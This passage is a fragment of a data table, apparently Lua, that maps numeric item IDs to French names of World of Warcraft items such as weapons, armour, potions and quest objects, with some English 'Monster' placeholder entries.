Scimitar Basic",[1899]="Monster - Sword, Long Basic",[1900]="Monster - Thieves Blade",[1901]="Monster - Mace, Basic Stone Hammer",[1902]="Monster - Mace, Basic Wooden Hammer",[1903]="Monster - Mace, Basic Metal Hammer",[1904]="Monster - Axe, Stone Basic",[1905]="Monster - Axe, Metal Basic",[1906]="Monster - Torch",[1907]="Monster - Staff, Basic",[1908]="Monster - Staff, Crooked",[1909]="Monster - Axe, Large Basic",[1910]="Monster - Item, Pick",[1911]="Monster - Tool, Wrench Small",[1913]="Matraque cloutée",[1917]="Dague ornée de joyaux",[1922]="Fournitures pour Sven",[1923]="Sacoche de l\'ambassadeur",[1925]="Rapière défias",[1926]="Masse lestée",[1927]="Fendoir des Mortemines",[1928]="Bâton de mage défias",[1929]="Chausses brochées de soie",[1930]="Cape de maçon",[1931]="Grande griffe de gnoll",[1933]="Bâton d\'adjuration",[1934]="Chausses de Lardeur",[1935]="Lame d\'assassin",[1936]="Tournevis gobelin",[1937]="Scie bourdonnante",[1938]="Massette de billot",[1939]="Outre de rhum doux",[1941]="Tonneau de merlot",[1942]="Bouteille de tord-boyaux",[1943]="Jambières en mailles gobelines",[1944]="Gants de ferronnier",[1945]="Gants de menuiserie",[1946]="Miroir de Marie",[1951]="Sabre d\'abordage des Flots noirs",[1955]="Bottes gueule-de-dragon en mailles",[1956]="Pendentif sombrepoil décoloré",[1957]="Monster - Shield, Small Wooden",[1958]="Tibia pétrifié",[1959]="Pioche en fer froid",[1961]="Monster - Shield, Buckler Wooden",[1962]="Pendentif sombrepoil luminescent",[1965]="Gants du loup blanc",[1968]="Monocle d\'ogre",[1970]="Baume de restauration",[1971]="Titre de propriété de Froncebouille",[1972]="Titre de propriété de la marche de l\'Ouest",[1973]="Orbe de tromperie",[1974]="Brassards de projection mentale",[1975]="Vieil estramaçon de Pysan",[1976]="Marteau à scories",[1978]="Gants griffe-de-loup",[1979]="Mur des morts",[1980]="Bague du monde souterrain",[1981]="Pourpoint en mailles glaciales",[1982]="Lamenuit",[1983]="Monster - Sword2H, Basic",[1984]="Monster - Shield, Kite Metal",[1985]="Monster - Shield, Large Wooden",[1986]="Ouvre-entrailles",[1987]="Marmite de Krazek réparée",[1988]="Gantelets de général de brigade",[1990]="Maillet lesté",[1991]="Pelle de puissance gobeline",[1992]="Fétiche des marais",[1993]="Anneau de concentration",[1994]="Déchireuse griffe-d\'ébène",[1996]="Bague vaudou",[1997]="Robe en feutre pressé",[1998]="Bâton de canalisation scalp-rouge",[2000]="Archeus",[2004]="Journal de Grelin Blanchebarbe",[2005]="La première légende des trolls",[2006]="La deuxième légende des trolls",[2007]="La troisième légende des trolls",[2008]="La quatrième légende des trolls",[2011]="Sabre tordu",[2013]="Bâton en os de crypte",[2014]="Estramaçon en métal noir",[2015]="Hache de guerre en métal noir",[2017]="Brassards luminescents en cuir",[2018]="Epée longue squelettique",[2020]="Lame griffe-creuse",[2021]="Bouclier Carapace vert",[2023]="Monster - Spear, Rusty",[2024]="Espadon",[2025]="Hache barbue",[2026]="Marteau en pierre",[2027]="Cimeterre",[2028]="Marteau",[2029]="Fendoir",[2030]="Bâton noueux",[2032]="Crispins de Gallan",[2033]="Bottes d\'ambassadeur",[2034]="Robe d\'érudition",[2035]="Epée des cieux noirs",[2036]="Gants de mine poussiéreux",[2037]="Bottes de tunnelier",[2039]="Anneau des plaines",[2040]="Protecteur troll",[2041]="Tunique de la marche de l\'Ouest",[2042]="Bâton de la marche de l\'Ouest",[2043]="Anneau des esprits chagrins",[2044]="Croissant des esprits chagrins",[2046]="Kukri branchie-bleue",[2047]="Hache courte de Courbenclume",[2048]="Marteau de Courbenclume",[2051]="Monster - Shield, Small Wooden Damaged",[2052]="Monster - Shield, Small Metal Damaged",[2053]="Monster - Shield, Buckler Metal Damaged",[2054]="Hache courte trogg",[2055]="Petit marteau en bois",[2057]="Epée courte défias piquée",[2058]="Maillet de Kazon",[2059]="Cape de factionnaire",[2064]="Massue trogg",[2065]="Lame mâcheroc",[2066]="Hachette du crâne",[2067]="Bâton de morsure de givre",[2069]="Gilet en peau d\'ours noir",[2070]="Bleu de Darnassus",[2072]="Bâton de mage nain",[2073]="Hachette naine",[2074]="Lame courte solide",[2075]="Masse lourde",[2077]="Bâton de magicien",[2078]="Epée courte nordique",[2079]="Marteau de guerre de sergent",[2080]="Hache des collines",[2081]="Monster - Torch, Offhand",[2082]="Sacoche de Crackboum",[2084]="Epée bâtarde en sombracier",[2085]="Morceau de chair",[2087]="Carapace de clampant durcie",[2088]="Longue patte de clampant",[2089]="Dague en ivoire imagé",[2091]="Poussière magique",[2092]="Dague usée",[2098]="Fusil à canon double",[2099]="Canon à main nain",[2100]="Espingole soigneusement calibrée",[2101]="Carquois léger",[2102]="Petite giberne",[2105]="Chemise de nervi",[2108]="Gilet crins-de-givre en cuir",[2109]="Lorica crins-de-givre",[2110]="Robe légère de fèvre-mage",[2112]="Pourpoint de bûcheron",[2113]="Note de Calor",[2114]="Robe neigeuse",[2117]="Chaussures en étoffe légère",[2119]="Gants en étoffe légère",[2120]="Pantalon en étoffe légère",[2121]="Jacque en étoffe légère",[2122]="Ceinture en cuir craquelé",[2123]="Bottes en cuir craquelé",[2124]="Brassards en cuir craquelé",[2125]="Gants en cuir craquelé",[2126]="Pantalon en cuir craquelé",[2127]="Gilet en cuir craquelé",[2129]="Grand bouclier rond",[2130]="Massue",[2131]="Epée courte",[2132]="Bâton court",[2133]="Petit bouclier",[2134]="Hache courte",[2136]="Eau purifiée invoquée",[2137]="Couteau de taille",[2138]="Coupe-papier aiguisé",[2139]="Miséricorde",[2140]="Couteau à découper",[2141]="Gilet en cuir bouilli",[2142]="Ceinture en cuir bouilli",[2143]="Bottes en cuir bouilli",[2144]="Brassards en cuir bouilli",[2145]="Gants en cuir bouilli",[2146]="Pantalon en cuir bouilli",[2147]="Monster - Sword, Falchion",[2148]="Ceinture en écailles polies",[2149]="Bottes en écailles polies",[2150]="Brassards en écailles polies",[2151]="Gants en écailles polies",[2152]="Jambières en écailles polies",[2153]="Broigne polie",[2154]="L\'histoire de Morgan Ladimore",[2156]="Bottes matelassées",[2158]="Gants matelassés",[2159]="Pantalon matelassé",[2160]="Gambison",[2161]="Livre de la ferme de Sven",[2162]="Anneau de Sarah",[2163]="Lame de l\'ombre",[2164]="Eventreuse",[2165]="Couverture de la Vieille Blanchette",[2166]="Jambières de contremaître",[2167]="Gants de contremaître",[2168]="Chahuteurs de cadavre",[2169]="Lame bourdonnante",[2172]="Ceinture rustique",[2173]="Vieille ceinture en cuir",[2175]="Hache d\'armes sombrepoil",[2176]="Monster - Staff, Ornate Priest Staff",[2177]="Monster - Staff, Ornate Mage Staff",[2178]="Monster - Sword, Long Ornate",[2179]="Monster - Sword, Scimitar Badass",[2180]="Monster - Sword, Short Ornate",[2181]="Monster - Sword2H, Baron Rivendare",[2182]="Monster - Mace, Ornate Metal Hammer",[2183]="Monster - Axe, Metal Badass",[2184]="Monster - Dagger Basic",[2186]="Ceinture de tailleur",[2187]="Un tas de lettres",[2188]="Une lettre pour Grelin Blanchebarbe",[2194]="Marteau diamant",[2195]="Couteau de Courbenclume",[2196]="Monster - Item, Mutton",[2197]="Monster - Item, Bread",[2198]="Monster - Item, Potion Blue",[2199]="Monster - Item, Vial Purple",[2200]="Monster - Item, Potion Green",[2201]="Monster - Item, Vial Black",[2202]="Monster - Item, Mutton with Bite",[2203]="Couperet de Promptegriffe",[2204]="Broche de Promptegriffe",[2205]="Crépusculaire",[2207]="Jambiya",[2208]="Poignard",[2209]="Kriss",[2210]="Targe endommagée",[2211]="Grand bouclier endommagé",[2212]="Targe craquelée",[2213]="Grand bouclier usé",[2214]="Targe en bois",[2215]="Bouclier en bois",[2216]="Targe simple",[2217]="Bouclier rectangulaire",[2218]="Dague d\'artisan",[2219]="Petit bouclier rond",[2220]="Bouclier carré",[2221]="Rondache de parade",[2222]="Grand bouclier",[2223]="Plan de route du collecteur",[2224]="Dague de la milice",[2225]="Couteau de cuisine aiguisé",[2226]="Bâton d\'ogre-mage",[2227]="Hache de guerre ogre lourde",[2230]="Gants de musculation",[2231]="Robe du feu d\'enfer",[2232]="Bottes de coureur sombre",[2233]="Jambières de tisseur d\'ombre",[2234]="Armure de marcheur nocturne",[2235]="Griffe de Brack",[2236]="Croc-noir",[2237]="Pantalon raccommodé",[2238]="Pantalon de gavroche",[2239]="Anneau du Collecteur",[2240]="Cape robuste",[2241]="Cape de desperado",[2243]="Main d\'Edward l\'étrange",[2244]="Lame de Krol",[2245]="Heaume de Narv",[2246]="Insigne de myrmidon",[2249]="Targe de la milice",[2250]="Tourte au crabe de la Pénombre",[2251]="Patte d\'araignée fondante",[2252]="Diverses fournitures gobelines",[2254]="Marteau pare-glace",[2256]="Massue squelettique",[2257]="Bâton crins-de-givre",[2258]="Epée courte crins-de-givre",[2259]="Massue crins-de-givre",[2260]="Hache courte crins-de-givre",[2262]="Marque de Kern",[2263]="Phytolame",[2264]="Mantelet des voleurs",[2265]="Hache brisepierre",[2266]="Dague brisepierre",[2267]="Masse brisepierre",[2268]="Lame brisepierre",[2271]="Bâton du voyant béni",[2274]="Gants de sapeur",[2276]="Bottes des marais",[2277]="Jambières de nécromancien",[2278]="Epaulettes de pisteur sylvestre",[2280]="Canne de marche de Kam",[2281]="Hache rodentienne en silex",[2282]="Epée courte rodentienne",[2283]="Ceinture en poil de rat",[2284]="Cape en poil de rat",[2287]="Cuissot",[2288]="Eau fraîche invoquée",[2289]="Parchemin de Force II",[2290]="Parchemin d\'Intelligence II",[2291]="Kang le Décapiteur",[2292]="Robe de nécrologie",[2295]="Grande défense de sanglier",[2296]="Groin de grand Broche-tripes",[2299]="Hache de guerre ardente",[2300]="Gilet en cuir estampé",[2302]="Bottes cousues main en cuir",[2303]="Pantalon cousu main en cuir",[2304]="Renfort d\'armure léger",[2307]="Bottes raffinées en cuir",[2308]="Cape raffinée en cuir",[2309]="Bottes en cuir estampé",[2310]="Cape en cuir estampé",[2311]="Pourpoint blanc en cuir",[2312]="Gants raffinés en cuir",[2313]="Renfort d\'armure moyen",[2314]="Armure en cuir raffermi",[2315]="Bottes noires en cuir",[2316]="Cape noire en cuir",[2317]="Tunique noire en cuir",[2318]="Cuir léger",[2319]="Cuir moyen",[2320]="Bobine de fil grossier",[2321]="Bobine de fil raffiné",[2324]="Décolorant",[2325]="Teinture noire",[2326]="Brassards de tisse-lierre",[2327]="Brassards solides en cuir",[2361]="Marteau détérioré",[2362]="Vieux bouclier en bois",[2364]="Gilet tissé",[2366]="Pantalon tissé",[2367]="Bottes tissées",[2369]="Gants tissés",[2370]="Harnais endommagé en cuir",[2371]="Ceinture endommagée en cuir",[2372]="Pantalon endommagé en cuir",[2373]="Bottes endommagées en cuir",[2374]="Brassards endommagés en cuir",[2375]="Gants endommagés en cuir",[2376]="Vieil écu",[2377]="Targe ronde",[2378]="Doigt de squelette",[2379]="Lorica ternie",[2380]="Ceinture en anneaux ternis",[2381]="Jambières en anneaux ternis",[2382]="Cœur de l\'embaumeur",[2383]="Bottes en anneaux ternis",[2384]="Brassards en anneaux ternis",[2385]="Gants en anneaux ternis",[2386]="Lorica rouillée",[2387]="Ceinture en anneaux rouillés",[2388]="Jambières en anneaux rouillés",[2389]="Bottes en anneaux rouillés",[2390]="Brassards en anneaux rouillés",[2391]="Gants en anneaux rouillés",[2392]="Cotte de mailles légère",[2393]="Ceinture en mailles légères",[2394]="Jambières en mailles légères",[2395]="Bottes en mailles légères",[2396]="Brassards en mailles légères",[2397]="Gants en mailles légères",[2398]="Cotte d\'anneaux légère",[2399]="Ceinture en anneaux légers",[2400]="Jambières en anneaux légers",[2401]="Bottes en anneaux légers",[2402]="Brassards en anneaux légers",[2403]="Gants en anneaux légers",[2406]="Patron : Bottes raffinées en cuir",[2407]="Patron : Pourpoint blanc en cuir",[2408]="Patron : Gants raffinés en cuir",[2409]="Patron : Tunique noire en cuir",[2411]="Bride d\'étalon noir",[2414]="Bride de pinto",[2417]="Lorica doublée",[2418]="Jambières en anneaux doublés",[2419]="Ceinture en anneaux doublés",[2420]="Bottes en anneaux doublés",[2421]="Brassards en anneaux doublés",[2422]="Gants en anneaux doublés",[2423]="Brigandine",[2424]="Ceinture brigandine",[2425]="Jambières brigandines",[2426]="Bottes brigandines",[2427]="Brassards brigandines",[2428]="Gants brigandines",[2429]="Gilet brun-roux",[2431]="Pantalon brun-roux",[2432]="Bottes brun-roux",[2434]="Gants brun-roux",[2435]="Gilet brodé",[2437]="Pantalon brodé",[2438]="Bottes brodées",[2440]="Gants brodés",[2441]="Targe annelée",[2442]="Rondache renforcée",[2443]="Targe en métal",[2444]="Targe rouillée",[2445]="Grand bouclier en métal",[2446]="Grand écu",[2447]="Pacifique",[2448]="Pavois lourd",[2449]="Terrestrine",[2450]="Eglantine",[2451]="Ecu noble",[2452]="Chardonnier",[2453]="Doulourante",[2454]="Elixir de force du lion",[2455]="Potion de mana mineure",[2456]="Potion de régénération mineure",[2457]="Elixir d\'agilité mineure",[2458]="Elixir de robustesse mineure",[2459]="Potion de rapidité",[2463]="Doublet en cuir clouté",[2464]="Ceinture en cuir clouté",[2465]="Pantalon en cuir clouté",[2466]="Fétiche casse-crâne",[2467]="Bottes en cuir clouté",[2468]="Brassards en cuir clouté",[2469]="Gants en cuir clouté",[2470]="Gilet en cuir renforcé",[2471]="Ceinture en cuir renforcé",[2472]="Pantalon en cuir renforcé",[2473]="Bottes en cuir renforcé",[2474]="Brassards en cuir renforcé",[2475]="Gants en cuir renforcé",[2476]="Cuissot de basilic glacé",[2477]="Crâne de ravageur",[2479]="Hache large",[2480]="Grande massue",[2488]="Gladius",[2489]="Epée à deux mains",[2490]="Tomahawk",[2491]="Grande hache",[2492]="Casse-tête",[2493]="Massette en bois",[2494]="Stylet",[2495]="Canne de marche",[2499]="Hache bipenne",[2504]="Arc court usé",[2505]="Arc court poli",[2506]="Arc à double courbure en bois de corne",[2507]="Arc laminé à double courbure",[2508]="Vieux tromblon",[2509]="Tromblon orné",[2510]="Tromblon solide",[2511]="Espingole de chasseur",[2512]="Flèche grossière",[2515]="Flèche aiguisée",[2516]="Balle légère",[2519]="Balle lourde",[2520]="Epée large",[2521]="Flamberge",[2522]="Hache-croissant",[2523]="Bullova",[2524]="Assommoir",[2525]="Marteau de guerre",[2526]="Main gauche",[2527]="Bâton d\'armes",[2528]="Fauchon",[2529]="Zweihander",[2530]="Francisque",[2531]="Bardiche",[2532]="Etoile du matin",[2533]="Maillet de guerre",[2534]="Dague à rouelle",[2535]="Bâton de guerre",[2536]="Dent de pierre de trogg",[2545]="Jambières en mailles de l\'apprenti",[2546]="Ceinturon royal crins-de-givre",[2547]="Gants d\'éleveur de sangliers",[2548]="Tonneau de Brasselorge Scalder",[2549]="Bâton de l\'ombre",[2550]="Monster - Bow, Brown",[2551]="Monster - Crossbow",[2552]="Monster - Gun",[2553]="Recette : Elixir d\'agilité mineure",[2555]="Recette : Potion de Rapidité",[2557]="Monster - Mace2H, Ornate Metal Hammer",[2558]="Monster - Mace, Good Wooden Hammer",[2559]="Monster - Staff, Ornate Warlock Staff",[2560]="Journal complet de la Tremblote",[2561]="Tête de Chok\'sul",[2562]="Bouquet de bégonias écarlates",[2563]="Poudre à l\'odeur étrange",[2564]="Griffes de l\'esprit elfique",[2565]="Bâtonnet de feu ardent",[2566]="Robe sacrificielle",[2567]="Lame d\'évocateur",[2568]="Gilet marron en lin",[2569]="Bottes en lin",[2570]="Cape en lin",[2571]="Bandes molletières de Viny",[2572]="Robe rouge en lin",[2575]="Chemise rouge en lin",[2576]="Chemise blanche en lin",[2577]="Chemise bleue en lin",[2578]="Gilet barbare en lin",[2579]="Chemise verte en lin",[2580]="Cape en lin renforcé",[2581]="Bandage épais en lin",[2582]="Gilet vert en laine",[2583]="Bottes en laine",[2584]="Cape en laine",[2585]="Robe grise en laine",[2586]="Robe de maître de jeu",[2587]="Chemise grise en laine",[2589]="Etoffe de lin",[2590]="Toile d\'araignée des bois",[2591]="Etoffe trogg sale",[2592]="Etoffe de laine",[2593]="Flacon de porto",[2594]="Cruche d\'hydromel",[2595]="Bidon de bourbon",[2596]="Outre de bière brune naine",[2598]="Patron : Robe rouge en lin",[2601]="Patron : Robe grise en laine",[2604]="Teinture rouge",[2605]="Teinture verte",[2606]="Venin de rôdeuse",[2607]="Cristal mo\'grosh",[2608]="Ambre gris de battrodon",[2609]="Colloïde de désamorçage",[2610]="Mixture de désamorçage",[2611]="Silex brut",[2612]="Robe sobre",[2613]="Robe à double couture",[2614]="Robe d\'apprentissage",[2615]="Robe chromatique",[2616]="Robe chatoyante en soie",[2617]="Robe ardente",[2618]="Robe argentée",[2619]="Rapport de Grelin",[2620]="Voile des augures",[2621]="Capuche de nécromancie",[2622]="Coiffure tribale de Nimar",[2623]="Diadème sacré",[2624]="Coiffe de réflexion",[2625]="Statuette de Menethil",[2628]="Rapport de Senir",[2629]="Clé du coffre de l\'Intrépide",[2632]="Dague courbe",[2633]="Remède tropical",[2634]="Extraits de fougère vénéneuse",[2635]="Ceinture en anneaux distendus",[2636]="Idole de pierre sculptée",[2637]="Rapport d\'état de Baguefer",[2639]="Lettre de Merrin",[2640]="Equipement de mineur",[2642]="Bottes en anneaux distendus",[2643]="Brassards en anneaux distendus",[2644]="Cape en anneaux distendus",[2645]="Gants en anneaux distendus",[2646]="Pantalon en anneaux distendus",[2648]="Lorica distendue",[2649]="Ceinture en anneaux fins",[2650]="Bottes en anneaux fins",[2651]="Brassards en anneaux fins",[2652]="Cape en anneaux fins",[2653]="Gants en anneaux fins",[2654]="Pantalon en anneaux fins",[2656]="Lorica fine",[2657]="Sac en cuir rouge",[2658]="Fragment Ados",[2659]="Fragment Modr",[2660]="Fragment Golm",[2661]="Fragment Neru",[2662]="Carquois de Ribbly",[2663]="Cartouchière de Ribbly",[2665]="Herbes aromatiques de Hurlevent",[2666]="Tonneau de Tonneblonde",[2667]="Viande séchée de MacGrann",[2671]="Peau de wendigo",[2672]="Viande de loup maigre",[2673]="Viande de coyote",[2674]="Chair de clampant",[2675]="Pince de clampant",[2676]="Chatoyante",[2677]="Côtes de sanglier",[2678]="Epices douces",[2679]="Viande de loup grillée",[2680]="Viande de loup épicée",[2681]="Viande de sanglier rôtie",[2682]="Pince de crabe farcie",[2683]="Beignet de crabe",[2684]="Steak de coyote",[2685]="Côtes de porc aux herbes",[2686]="Tonneblonde",[2687]="Côtes de porc séchées",[2690]="Ceinture à loquet",[2691]="Bottes de tailleur",[2692]="Epices fortes",[2694]="Jambières de colon",[2695]="Monster - Mace, Board with Nail Club",[2696]="Tonneau d\'éternol",[2697]="Recette : Tourte au foie de broche-tripes",[2698]="Recette : Pince de crabe farcie",[2699]="Recette : Goulash des Carmines",[2700]="Recette : Côtes de porc aux herbes",[2701]="Recette : Kébab de loup assaisonné",[2702]="Lingot de Sancteforge",[2703]="Monster - Item, Tankard Wooden",[2704]="Monster - Item, Tankard Dirty",[2705]="Monster - Item, Tankard Metal",[2706]="Monster - Item, Flower - Red",[2707]="Monster - Item, Flower - Yellow",[2708]="Monster - Item, Bouquet - White & Purple",[2709]="Monster - Item, Flower - Rose",[2710]="Monster - Item, Bouquet - Roses",[2711]="Monster - Dagger Badass",[2712]="Caisse de lingots de sancteforge",[2713]="Tête du vieux Noiraud",[2714]="Monster - Item, Lantern - Square",[2715]="[Monster] - Item, Lantern - Round",[2716]="Monster - Item, Bottle - Green",[2717]="Monster - Item, Bottle - Black",[2718]="Monster - Item, Glass - Clear",[2719]="Petite clé en cuivre",[2720]="Note maculée de boue",[2721]="Voile sacré",[2722]="Bon pour du vin",[2723]="Bouteille de pinot noir",[2724]="Demande de tissu",[2725]="Les vertes collines de Strangleronce - Page 1",[2728]="Les vertes collines de Strangleronce - Page 4",[2730]="Les vertes collines de Strangleronce - Page 6",[2732]="Les vertes collines de Strangleronce - Page 8",[2734]="Les vertes collines de Strangleronce - Page 10",[2735]="Les vertes collines de Strangleronce - Page 11",[2738]="Les vertes collines de Strangleronce - Page 14",[2740]="Les vertes collines de Strangleronce - Page 16",[2742]="Les vertes collines de Strangleronce - Page 18",[2744]="Les vertes collines de Strangleronce - Page 20",[2745]="Les vertes collines de Strangleronce - Page 21",[2748]="Les vertes collines de Strangleronce - Page 24",[2749]="Les vertes collines de Strangleronce - Page 25",[2750]="Les vertes collines de Strangleronce - Page 26",[2751]="Les vertes collines de Strangleronce - Page 27",[2754]="Epée bâtarde ternie",[2756]="Les vertes collines de Strangleronce - Chapitre I",[2757]="Les vertes collines de Strangleronce - Chapitre II",[2758]="Les vertes collines de Strangleronce - Chapitre III",[2759]="Les vertes collines de Strangleronce - Chapitre IV",[2760]="Trousse de couture de Thurman",[2763]="Couteau de pêcheur",[2764]="Petite dague",[2765]="Couteau de chasse",[2766]="Stylet adroit",[2770]="Minerai de cuivre",[2771]="Minerai d\'étain",[2772]="Minerai de fer",[2773]="Arc court craquelé",[2774]="Tromblon couvert de rouille",[2775]="Minerai d\'argent",[2776]="Minerai d\'or",[2777]="Arc court médiocre",[2778]="Tromblon bon marché",[2779]="Larme de Tilloa",[2780]="Arc de chasse léger",[2781]="Tromblon sale",[2782]="Arc mal traité à double courbure",[2783]="Tromblon de mauvaise qualité",[2784]="Racine de Musquash",[2785]="Arc rigide à double courbure",[2786]="Tromblon huilé",[2787]="Dague trogg",[2788]="Bière brune de la Griffe noire",[2794]="Un vieux livre d\'histoire",[2795]="Livre : Les tensions du fer",[2797]="Cœur de Mokk",[2798]="Minerai de rethban",[2799]="Croc de gorille",[2800]="Robe noire en velours",[2801]="Lame d\'Hanna",[2802]="Emblème flamboyant",[2805]="Cape en fourrure de yéti",[2806]="Paquet pour Foudrepique",[2807]="Hache-guillotine",[2809]="Monster - Mace, Spiked Basic",[2810]="Monster - Mace, Standard Serpent",[2813]="Monster - Mace, Standard Basic",[2815]="Eventreur courbe",[2816]="Sceptre de nécrorateur",[2817]="Tunique en cuir souple",[2818]="Chausses en cuir étiré",[2819]="Dague en croix",[2820]="Chouette chronomètre",[2821]="Eclateur mo\'grosh",[2822]="Cure-dent mo\'grosh",[2823]="Ouvre-boîte mo\'grosh",[2824]="Ouragan",[2825]="Arc Flèches-de-feu",[2827]="Monster - Cleaver",[2828]="Cadavre de Nissa",[2829]="Cadavre de Gregor",[2830]="Cadavre de Thurman",[2831]="Cadavre de Devlin",[2832]="Recette du ragoût de la marche de l\'Ouest, par Verna",[2833]="Le grimoire de la liche",[2834]="Ichor d\'embaumement",[2835]="Pierre brute",[2836]="Pierre grossière",[2837]="Lettre de Thurman",[2838]="Pierre lourde",[2839]="Une lettre pour Yvette",[2840]="Barre de cuivre",[2841]="Barre de bronze",[2842]="Barre d\'argent",[2843]="Articulation sale",[2844]="Masse en cuivre",[2845]="Hache en cuivre",[2846]="Potiron de Tirisfal",[2847]="Epée courte en cuivre",[2848]="Masse en bronze",[2849]="Hache en bronze",[2850]="Epée courte en bronze",[2851]="Ceinture en anneaux de cuivre",[2852]="Pantalon en anneaux de cuivre",[2853]="Brassards en cuivre",[2854]="Brassards runiques en cuivre",[2855]="Griffe putride",[2856]="Clou en fer",[2857]="Ceinture runique en cuivre",[2858]="Sang de sombredogue",[2859]="Ecaille d\'Aileron noir",[2862]="Pierre à aiguiser brute",[2863]="Pierre à aiguiser grossière",[2864]="Cuirasse runique en cuivre",[2865]="Jambières grossières en bronze",[2866]="Thorax grossier en bronze",[2868]="Brassards guillochés en bronze",[2869]="Cuirasse en bronze argenté",[2870]="Cuirasse rayonnante en argent",[2871]="Pierre à aiguiser lourde",[2872]="Venin de Tisse-nuit vicieuse",[2874]="Une lettre qui n\'a pas été envoyée.",[2875]="Anneau de la Croisade écarlate",[2876]="Peau de chauve-souris de la pénombre",[2877]="Claymore de combattant",[2878]="Hache barbue en os",[2879]="Bâtonnet des antipodes",[2880]="Catalyseur léger",[2881]="Plans : Cuirasse runique en cuivre",[2882]="Plans : Epaulières en bronze argenté",[2883]="Plans : Poignard mortel en bronze",[2884]="Monster - Dynamite, Lit",[2885]="Documents de la Croisade écarlate",[2886]="Côtes de sanglier des rochers",[2888]="Côtes de sanglier à la bière",[2889]="Recette : Côtes de sanglier à la bière",[2892]="Poison mortel",[2893]="Poison mortel",[2894]="Bière au malt Rhapsody",[2898]="Plastron de montagnard",[2899]="Collier de wendigo",[2900]="Targe en pierre",[2901]="Pioche de mineur",[2902]="Cape de la foi",[2903]="Arc de chasse de Daryl",[2904]="Carabine de chasse de Daryl",[2905]="Cape en peau de chèvre",[2906]="Jambières en mailles de Sombre-comté",[2907]="Coupe-arbre nain",[2908]="Lame-épine",[2909]="Foulard en laine rouge",[2910]="Bottes en or de la milice",[2911]="Ceinturon de Keller",[2912]="Griffe du ténébromancien",[2913]="Mantelet de Gamn en soie",[2915]="Brise-glace de Taran",[2916]="Bouclier du lion d\'or",[2917]="Anneau tranquille",[2924]="Viande de crocilisque",[2925]="Peau de crocilisque",[2926]="Tête de Bazil Thredd",[2928]="Poudre de délabrement",[2930]="Essence de douleur",[2931]="Angoisse de la vierge",[2933]="Sceau de Wrynn",[2934]="Lanières de cuir déchirées",[2939]="Sang de furie",[2940]="Patte d\'ours sanglante",[2941]="Surin de prisonnier",[2942]="Coup de poing en fer",[2943]="Oeil de Paleth",[2944]="Oeil maudit de Paleth",[2946]="Dague de lancer équilibrée brisée",[2947]="Petit couteau de lancer brisé",[2949]="Bottes de marinier",[2950]="Perche glaciale",[2951]="Anneau du sous-bois",[2953]="Cape de maître du guet",[2954]="Culotte de veilleur",[2955]="Chapeau de second",[2956]="Rapport sur les Défias",[2957]="Gilet de compagnon",[2958]="Pantalon de compagnon",[2959]="Bottes de compagnon",[2960]="Gants de compagnon",[2961]="Gilet en cuir brûlé",[2962]="Braies en cuir brûlé",[2963]="Bottes en cuir brûlé",[2964]="Gants en cuir brûlé",[2965]="Tunique de guerrier",[2966]="Pantalon de guerrier",[2967]="Bottes de guerrier",[2968]="Gants de guerrier",[2969]="Gilet de lieur de sort",[2970]="Pantalon de lieur de sort",[2971]="Bottes de lieur de sort",[2972]="Gants de lieur de sort",[2973]="Tunique de chasse",[2974]="Pantalon de chasse",[2975]="Bottes de chasse",[2976]="Gants de chasse",[2977]="Armure de vétéran",[2978]="Jambières de vétéran",[2979]="Bottes de vétéran",[2980]="Gants de vétéran",[2981]="Robe de prophète",[2982]="Pantalon de voyant",[2983]="Bottes de voyant",[2984]="Gants de voyant",[2985]="Cuirasse en cuir gravé",[2986]="Pantalon en cuir gravé",[2987]="Bottes en cuir gravé",[2988]="Gants en cuir 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d\'ours",[3174]="Ichor d\'araignée",[3175]="Peau de dragon déchirée",[3176]="Petite griffe",[3177]="Petit croc",[3179]="Ecaille de dragon craquelée",[3180]="Ecaille de raptor tacheté",[3181]="Viande partiellement digérée",[3182]="Soie d\'araignée",[3183]="Griffe galeuse",[3184]="Dague crochet",[3185]="Bâton d\'acrobatie",[3186]="Epée viking",[3187]="Kriss sacrificiel",[3188]="Claymore de corail",[3189]="Coupe-bois",[3190]="Mailloche",[3191]="Hache de guerre cintrée",[3192]="Epée bâtarde courte",[3193]="Massette en chêne",[3194]="Malice noire",[3195]="Hache d\'armes barbare",[3196]="Epée bâtarde tranchante",[3197]="Claymore tranche-pierre",[3198]="Marteau ravageur",[3199]="Tueuse-de-combat",[3200]="Brassards en cuir brûlé",[3201]="Hache de guerre barbare",[3202]="Brassards sylvestres en cuir",[3203]="Masse triangulaire dense",[3204]="Brassards des bois profonds",[3205]="Brassards en cuir gravé",[3206]="Epée à deux mains de cavalier",[3207]="Brassards de chasse",[3208]="Marteau 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cuivre",[3489]="Hache de guerre lourde",[3490]="Poignard mortel en bronze",[3491]="Masse lourde en bronze",[3492]="Marteau puissant en fer",[3493]="Raptoricide",[3494]="Monster - Claw",[3495]="Elixir de souffrance",[3496]="Sang de lion des montagnes",[3497]="Elixir de douleur",[3498]="Collier de Taretha",[3499]="Clé en or bruni",[3502]="Fleur de fangemufle",[3505]="Chevalière d\'Alterac",[3506]="Poudre de fangemufle",[3508]="Brouet de fangemufle",[3509]="Ecaille de Daguéchine",[3510]="Oeil d\'Aileron déchiré",[3511]="Cape de la milice du peuple",[3514]="Crâne de Mor\'Ladim",[3515]="Bâton d\'Ataeric",[3516]="Tête de Lescovar",[3517]="Tonneau de Croquejarret brune",[3518]="Lettre décodée",[3520]="Baril infecté",[3521]="Lettre astucieusement codée",[3530]="Bandage en laine",[3531]="Bandage épais en laine",[3550]="Tête de Targ",[3551]="Tête de Fouilleboue",[3552]="Tête de Glommus",[3553]="Tête de Mug\'thol",[3554]="Couronne de volonté",[3555]="Robe de Salomon",[3556]="Chapeau de mage d\'effroi",[3558]="Robe de gardien des tourbières",[3559]="Gantelets de veilleur",[3560]="Mantelet d\'honneur",[3561]="Poncho de résistance",[3562]="Ceinture de justification",[3563]="Culotte de marin",[3564]="Chargement de fer",[3565]="Gants tachés de bière",[3566]="Armure plaie-des-raptors",[3567]="Canne à pêche naine",[3569]="Robe de vicaire",[3570]="Pilon fracasseur",[3571]="Batteur trogg",[3572]="Epée courte de Daryl",[3573]="Carquois de chasse",[3574]="Giberne de chasse",[3575]="Barre de fer",[3576]="Barre d\'étain",[3577]="Barre d\'or",[3578]="Pantalon de moissonneur",[3581]="Couteau dentelé",[3582]="Cape résistante à l\'acide",[3583]="Ceinture défraîchie",[3585]="Tunique de dissimulation",[3586]="Fend-les-bûches",[3587]="Ceinture brodée",[3588]="Brassards brodés",[3589]="Ceinture en toile renforcée",[3590]="Brassards en toile renforcée",[3591]="Ceinture matelassée",[3592]="Brassards matelassés",[3593]="Ceinture brun-roux",[3594]="Brassards 